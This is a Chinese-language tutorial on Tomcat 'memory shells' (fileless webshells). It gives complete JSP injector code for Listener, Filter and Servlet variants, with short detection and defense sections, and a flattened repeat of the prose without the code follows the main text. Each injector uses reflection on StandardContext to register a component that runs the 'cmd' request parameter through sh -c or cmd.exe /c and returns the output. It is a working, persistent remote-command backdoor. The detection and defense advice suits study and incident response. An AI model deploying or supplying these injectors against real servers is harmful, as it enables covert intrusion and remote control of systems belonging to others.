tomcat内存马分析
字数 2159 2025-08-22 18:37:22

Tomcat内存马分析与防御指南

一、前置知识

1.1 Tomcat核心组件

在Tomcat中,客户端请求会依次经过以下组件处理:

  • Listener:监听器,用于监听ServletContext、HttpSession和ServletRequest等对象的生命周期事件
  • Filter:过滤器,用于对请求和响应进行预处理和后处理
  • Servlet:服务端小程序,用于处理具体的业务逻辑

1.2 内存马类型

内存马主要分为两大类:

  1. servlet-api型

    • 通过命令执行动态注册新的Listener、Filter或Servlet
    • 包括:Listener型、Filter型、Servlet型内存马
  2. 字节码增强型

    • 通过Java的instrumentation动态修改已有代码
    • 包括:Spring类、Controller型、Agent型等

二、Listener型内存马

2.1 原理分析

Listener内存马通过向StandardContext的applicationEventListenersList中添加恶意监听器实现。每次请求时,Tomcat会调用监听器的requestInitializedrequestDestroyed方法。

2.2 实现步骤

  1. 获取StandardContext对象
  2. 创建恶意ServletRequestListener实现类
  3. 通过addApplicationEventListener方法添加监听器

2.3 示例代码

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 获取standardContext
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        HttpServletResponse resp = request1.getResponse();
        if(req.getParameter("cmd") != null) {
            try {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if(osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} 
                                      : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                resp.getWriter().write(out);
                resp.getWriter().flush();
            } catch(IOException ioe){
                ioe.printStackTrace();
            }
        }
    }
};
standardContext.addApplicationEventListener(listener);
out.println("inject done!");
out.flush();
%>

2.4 检测与防御

检测方法

  1. 使用sc *.Servlet命令扫描可疑Servlet
  2. 反编译JSP文件:jad org.apache.jsp.listen_005fma_jsp
  3. 内存dump分析关键字

防御措施

  • 监控addApplicationEventListener调用
  • 限制JSP上传和执行权限

三、Filter型内存马

3.1 核心组件

Tomcat中Filter相关的重要组件:

  • FilterDefs:FilterDef数组,存放过滤器名和实例
  • FilterConfigs:FilterConfig数组,存放FilterDef和Filter对象
  • FilterMaps:FilterMap数组,存放FilterName和对应的URLPattern

3.2 实现原理

  1. 创建恶意Filter类
  2. 使用FilterDef封装Filter
  3. 将FilterDef放入FilterDefs和FilterConfigs
  4. 创建FilterMap并添加到FilterMaps
  5. Tomcat处理请求时会匹配FilterMaps并执行相应Filter

3.3 实现步骤

  1. 获取StandardContext对象
  2. 创建恶意Filter实现类
  3. 创建FilterDef并设置相关属性
  4. 创建ApplicationFilterConfig
  5. 将FilterConfig添加到filterConfigs Map
  6. 创建FilterMap并设置URL模式和Filter名
  7. 将FilterMap添加到StandardContext

3.4 示例代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 获取ApplicationContext(ServletContext)
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);

// 获取ApplicationContext中的StandardContext
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);

// 获取ServletContext
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

// 获取StandardContext
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
            throws ServletException, IOException {
        if(request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if(osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} 
                                   : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        chain.doFilter(request, response);
    }
    
    @Override
    public void destroy() {}
};

// 设置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("cmdFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

// 利用ApplicationFilterConfig传入filterDef设置filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

// 设置filterConfigs,存放filterConfig
Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("cmdFilter", filterConfig);

// 设置filterMap(设置拦截的filter和路由)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("cmdFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
out.println("Inject done");
%>

3.5 检测与防御

检测方法

  1. 使用Arthas工具:mbean | grep "name=/"
  2. 扫描可疑Filter:sc *.Filter
  3. 反编译JSP文件:jad org.apache.jsp.servlet_005fma_jsp$1
  4. 内存dump分析:strings heapdump.hprof | grep "GET "

防御措施

  • 监控StandardContext的修改操作
  • 限制动态Filter注册
  • 使用安全产品监控异常Filter

四、Servlet型内存马

4.1 实现原理

  1. 获取StandardContext对象
  2. 创建Wrapper并设置Servlet相关信息
  3. 将Wrapper添加到StandardContext的children
  4. 添加Servlet映射

4.2 实现步骤

  1. 获取StandardContext对象
  2. 创建恶意Servlet实现类
  3. 通过StandardContext创建Wrapper
  4. 设置Wrapper的name、servletClass等属性
  5. 将Wrapper添加到StandardContext
  6. 添加Servlet映射

4.3 示例代码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<% 
class S implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {}
    
    @Override
    public ServletConfig getServletConfig() { return null; }
    
    @Override
    public void service(ServletRequest req, ServletResponse res) 
            throws ServletException, IOException {
        if(request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if(osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} 
                                   : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }
    
    @Override
    public String getServletInfo() { return null; }
    
    @Override
    public void destroy() {}
}
%>
<%
// 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

S servlet = new S();
String name = servlet.getClass().getSimpleName();
Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/servletmama", name);
out.println("inject success");
%>

4.4 检测与防御

检测方法

  1. 检查可疑的Servlet映射
  2. 扫描非标准Servlet类
  3. 分析内存中的可疑字符串

防御措施

  • 监控Servlet动态注册
  • 限制StandardContext的修改
  • 使用安全产品监控异常Servlet

五、综合防御方案

  1. 代码层面

    • 禁用动态注册Servlet/Filter/Listener的功能
    • 对反射调用进行安全限制
  2. 配置层面

    • 限制JSP上传和执行权限
    • 配置Tomcat安全策略
  3. 监控层面

    • 部署RASP(运行时应用自我保护)
    • 使用内存马检测工具定期扫描
  4. 应急响应

    • 掌握内存dump分析方法
    • 准备安全恢复预案
  5. 工具推荐

    • Java内存马扫描器:java-memshell-scanner
    • 分析工具:Arthas、MAT(Memory Analyzer Tool)
Tomcat内存马分析与防御指南 一、前置知识 1.1 Tomcat核心组件 在Tomcat中,客户端请求会依次经过以下组件处理: Listener :监听器,用于监听ServletContext、HttpSession和ServletRequest等对象的生命周期事件 Filter :过滤器,用于对请求和响应进行预处理和后处理 Servlet :服务端小程序,用于处理具体的业务逻辑 1.2 内存马类型 内存马主要分为两大类: servlet-api型 : 通过命令执行动态注册新的Listener、Filter或Servlet 包括:Listener型、Filter型、Servlet型内存马 字节码增强型 : 通过Java的instrumentation动态修改已有代码 包括:Spring类、Controller型、Agent型等 二、Listener型内存马 2.1 原理分析 Listener内存马通过向StandardContext的 applicationEventListenersList 中添加恶意监听器实现。每次请求时,Tomcat会调用监听器的 requestInitialized 和 requestDestroyed 方法。 2.2 实现步骤 获取StandardContext对象 创建恶意ServletRequestListener实现类 通过 addApplicationEventListener 方法添加监听器 2.3 示例代码 2.4 检测与防御 检测方法 : 使用 sc *.Servlet 命令扫描可疑Servlet 反编译JSP文件: jad org.apache.jsp.listen_005fma_jsp 内存dump分析关键字 防御措施 : 监控 addApplicationEventListener 调用 限制JSP上传和执行权限 三、Filter型内存马 3.1 核心组件 Tomcat中Filter相关的重要组件: FilterDefs :FilterDef数组,存放过滤器名和实例 FilterConfigs :FilterConfig数组,存放FilterDef和Filter对象 FilterMaps :FilterMap数组,存放FilterName和对应的URLPattern 3.2 实现原理 创建恶意Filter类 使用FilterDef封装Filter 将FilterDef放入FilterDefs和FilterConfigs 创建FilterMap并添加到FilterMaps Tomcat处理请求时会匹配FilterMaps并执行相应Filter 3.3 实现步骤 获取StandardContext对象 创建恶意Filter实现类 创建FilterDef并设置相关属性 创建ApplicationFilterConfig 将FilterConfig添加到filterConfigs Map 创建FilterMap并设置URL模式和Filter名 将FilterMap添加到StandardContext 3.4 示例代码 3.5 检测与防御 检测方法 : 使用Arthas工具: mbean | grep "name=/" 扫描可疑Filter: sc *.Filter 反编译JSP文件: jad org.apache.jsp.servlet_005fma_jsp$1 内存dump分析: strings heapdump.hprof | grep "GET " 防御措施 : 监控StandardContext的修改操作 限制动态Filter注册 使用安全产品监控异常Filter 四、Servlet型内存马 4.1 实现原理 获取StandardContext对象 创建Wrapper并设置Servlet相关信息 将Wrapper添加到StandardContext的children 添加Servlet映射 4.2 实现步骤 获取StandardContext对象 创建恶意Servlet实现类 通过StandardContext创建Wrapper 设置Wrapper的name、servletClass等属性 将Wrapper添加到StandardContext 添加Servlet映射 4.3 示例代码 4.4 检测与防御 检测方法 : 检查可疑的Servlet映射 扫描非标准Servlet类 分析内存中的可疑字符串 防御措施 : 监控Servlet动态注册 限制StandardContext的修改 使用安全产品监控异常Servlet 五、综合防御方案 代码层面 : 禁用动态注册Servlet/Filter/Listener的功能 对反射调用进行安全限制 配置层面 : 限制JSP上传和执行权限 配置Tomcat安全策略 监控层面 : 部署RASP(运行时应用自我保护) 使用内存马检测工具定期扫描 应急响应 : 掌握内存dump分析方法 准备安全恢复预案 工具推荐 : Java内存马扫描器:java-memshell-scanner 分析工具:Arthas、MAT(Memory Analyzer Tool)